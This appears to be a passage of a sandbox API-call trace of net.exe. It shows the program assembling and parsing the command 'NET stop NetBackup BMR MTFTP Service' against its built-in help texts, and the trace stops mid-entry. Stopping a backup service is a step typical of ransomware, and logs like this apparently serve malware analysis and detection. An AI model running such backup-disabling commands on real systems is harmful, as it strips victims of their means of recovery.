[0098.578] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="\r\n" [0098.578] wcstok (in: _String=0x0, _Delimiter="$", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0098.579] wcsspn (_String="NAMES", _Control="\x09\n\x0b\x0c\r ") returned 0x0 [0098.579] _wcsicmp (_String1="stop", _String2="NAMES") returned 5 [0098.579] wcsspn (_String="\r\nSYNTAX", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.579] _wcsicmp (_String1="stop", _String2="SYNTAX") returned -5 [0098.579] wcsspn (_String="\r\nSERVICES", _Control="\x09\n\x0b\x0c\r ") returned 0x2 [0098.579] _wcsicmp (_String1="stop", _String2="SERVICES") returned 15 [0098.579] wcscpy_s (in: _Destination=0xffb080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0098.579] LoadLibraryW (lpLibFileName="NETMSG") returned 0x754d0000 [0098.580] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x754d0000, dwMessageId=0x111d, dwLanguageId=0x0, lpBuffer=0xffb05b50, nSize=0x800, Arguments=0xffb07f90 | out: lpBuffer="The syntax of this command is:\r\n") returned 0x20 [0098.580] GetFileType (hFile=0x0) returned 0x0 [0098.580] LocalAlloc (uFlags=0x0, uBytes=0x40) returned 0x125a70 [0098.581] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="The syntax of this command is:\r\n", cchWideChar=32, lpMultiByteStr=0x125a70, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The syntax of this command is:\r\n", lpUsedDefaultChar=0x0) returned 32 [0098.581] WriteFile (in: hFile=0x0, lpBuffer=0x125a70, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0098.581] LocalFree (hMem=0x125a70) returned 0x0 [0098.581] GetFileType (hFile=0x0) returned 0x0 [0098.581] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x12c380 [0098.581] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x12c380, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x12", lpUsedDefaultChar=0x0) returned 2 [0098.581] WriteFile (in: hFile=0x0, lpBuffer=0x12c380, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0098.581] LocalFree (hMem=0x12c380) returned 0x0 [0098.581] wcscpy_s (in: _Destination=0xaf920, _SizeInWords=0x200, _Source="NET" | out: _Destination="NET") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET ") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET ", _SizeInWords=0x200, _Source="stop", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop ") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop ", _SizeInWords=0x200, _Source="NetBackup", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup ") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup ", _SizeInWords=0x200, _Source="BMR", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup BMR") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup BMR", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup BMR ") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup BMR ", _SizeInWords=0x200, _Source="MTFTP", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup BMR MTFTP") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup BMR MTFTP", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup BMR MTFTP ") returned 0x0 [0098.581] wcsncat_s (in: _Destination="NET stop NetBackup BMR MTFTP ", _SizeInWords=0x200, _Source="Service", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop NetBackup BMR MTFTP Service") returned 0x0 [0098.581] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xad [0098.581] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET ACCOUNTS\r\n[/FORCELOGOFF:{minutes", _MaxCount=0x24) returned 18 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x2e [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET COMPUTER\r\n\\\\computername {/ADD |", _MaxCount=0x24) returned 16 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x7d [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET CONFIG SERVER\r\n[/AUTODISCONNECT:", _MaxCount=0x24) returned 16 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x26 [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET CONFIG\r\n[SERVER | WORKSTATION]\r\n", _MaxCount=0x24) returned 16 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET CONTINUE\r\nservice\r\n\r\n", _MaxCount=0x24) returned 16 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x1b [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET FILE\r\n[id [/CLOSE]]\r\n\r\n", _MaxCount=0x24) returned 13 [0098.582] LocalFree (hMem=0x12c380) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xbe [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET GROUP\r\n[groupname [/COMMENT:\"tex", _MaxCount=0x24) returned 12 [0098.582] LocalFree (hMem=0x12d150) returned 0x0 [0098.582] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.582] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET HELP\r\ncommand\r\n -or-\r\nNET co", _MaxCount=0x24) returned 11 [0098.583] LocalFree (hMem=0x12d150) returned 0x0 [0098.583] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.583] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET HELPMSG\r\nmessage#\r\n\r\n", _MaxCount=0x24) returned 11 [0098.583] LocalFree (hMem=0x12d150) returned 0x0 [0098.583] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc1 [0098.583] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET LOCALGROUP\r\n[groupname [/COMMENT", _MaxCount=0x24) returned 7 [0098.583] LocalFree (hMem=0x12d150) returned 0x0 [0098.583] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.583] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET PAUSE\r\nservice\r\n\r\n", _MaxCount=0x24) returned 3 [0098.583] LocalFree (hMem=0x12c380) returned 0x0 [0098.583] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.583] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET SESSION\r\n[\\\\computername] [/DELE", _MaxCount=0x24) returned 15 [0098.583] LocalFree (hMem=0x12d150) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x234 [0098.584] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET SHARE\r\nsharename\r\n shar", _MaxCount=0x24) returned 12 [0098.584] LocalFree (hMem=0x12d150) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x13 [0098.584] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START BROWSER\r\n", _MaxCount=0x24) returned 14 [0098.584] LocalFree (hMem=0x12c380) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.584] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START CLIPBOOK\r\n", _MaxCount=0x24) returned 14 [0098.584] LocalFree (hMem=0x12c380) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.584] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START EVENTLOG\r\n", _MaxCount=0x24) returned 14 [0098.584] LocalFree (hMem=0x12c380) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.584] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START MESSENGER\r\n", _MaxCount=0x24) returned 14 [0098.584] LocalFree (hMem=0x12c380) returned 0x0 [0098.584] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START NET LOGON\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START RPCLOCATOR\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x11 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START RPCSS\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START SCHEDULE\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x12 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START SERVER\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0xf [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START UPS\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x17 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START WORKSTATION\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12d150) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x18 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET START\r\n[service]\r\n\r\n", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12d150) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x2a [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET STATISTICS\r\n[WORKSTATION | SERVE", _MaxCount=0x24) returned 14 [0098.585] LocalFree (hMem=0x12d150) returned 0x0 [0098.585] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.585] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET STOP\r\nservice\r\n\r\n", _MaxCount=0x24) returned 19 [0098.585] LocalFree (hMem=0x12c380) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x58 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET TIME\r\n\r\n[\\\\computername | /DOMAI", _MaxCount=0x24) returned -1 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x184 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET USE\r\n[devicename | *] [\\\\compute", _MaxCount=0x24) returned -2 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc7 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET USER\r\n[username [password | *] [", _MaxCount=0x24) returned -2 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x47 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET VIEW\r\n[\\\\computername [/CACHE] |", _MaxCount=0x24) returned -3 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc2 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NET\r\n [ ACCOUNTS | COMPUTER | CON", _MaxCount=0x24) returned 19 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x319 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="SERVICES\r\nNET START can be used to s", _MaxCount=0x24) returned -5 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x483 [0098.586] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="SYNTAX\r\nThe following conventions ar", _MaxCount=0x24) returned -5 [0098.586] LocalFree (hMem=0x12d150) returned 0x0 [0098.586] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xa86 [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="NAMES\r\nThe following types of names ", _MaxCount=0x24) returned 4 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x54 [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP Service", _String2="\r\nFor more information on tools see ", _MaxCount=0x24) returned 97 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xad [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET ACCOUNTS\r\n[/FORCELOGOFF:", _MaxCount=0x1c) returned 18 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x2e [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET COMPUTER\r\n\\\\computername", _MaxCount=0x1c) returned 16 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x7d [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET CONFIG SERVER\r\n[/AUTODIS", _MaxCount=0x1c) returned 16 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x26 [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET CONFIG\r\n[SERVER | WORKST", _MaxCount=0x1c) returned 16 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.587] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET CONTINUE\r\nservice\r\n\r\n", _MaxCount=0x1c) returned 16 [0098.587] LocalFree (hMem=0x12d150) returned 0x0 [0098.587] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x1b [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET FILE\r\n[id [/CLOSE]]\r\n\r\n", _MaxCount=0x1c) returned 13 [0098.588] LocalFree (hMem=0x12c380) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xbe [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET GROUP\r\n[groupname [/COMM", _MaxCount=0x1c) returned 12 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET HELP\r\ncommand\r\n -or-", _MaxCount=0x1c) returned 11 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET HELPMSG\r\nmessage#\r\n\r\n", _MaxCount=0x1c) returned 11 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc1 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET LOCALGROUP\r\n[groupname [", _MaxCount=0x1c) returned 7 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET PAUSE\r\nservice\r\n\r\n", _MaxCount=0x1c) returned 3 [0098.588] LocalFree (hMem=0x12c380) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET SESSION\r\n[\\\\computername", _MaxCount=0x1c) returned 15 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x234 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET SHARE\r\nsharename\r\n ", _MaxCount=0x1c) returned 12 [0098.588] LocalFree (hMem=0x12d150) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x13 [0098.588] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START BROWSER\r\n", _MaxCount=0x1c) returned 14 [0098.588] LocalFree (hMem=0x12c380) returned 0x0 [0098.588] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START CLIPBOOK\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START EVENTLOG\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START MESSENGER\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START NET LOGON\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: 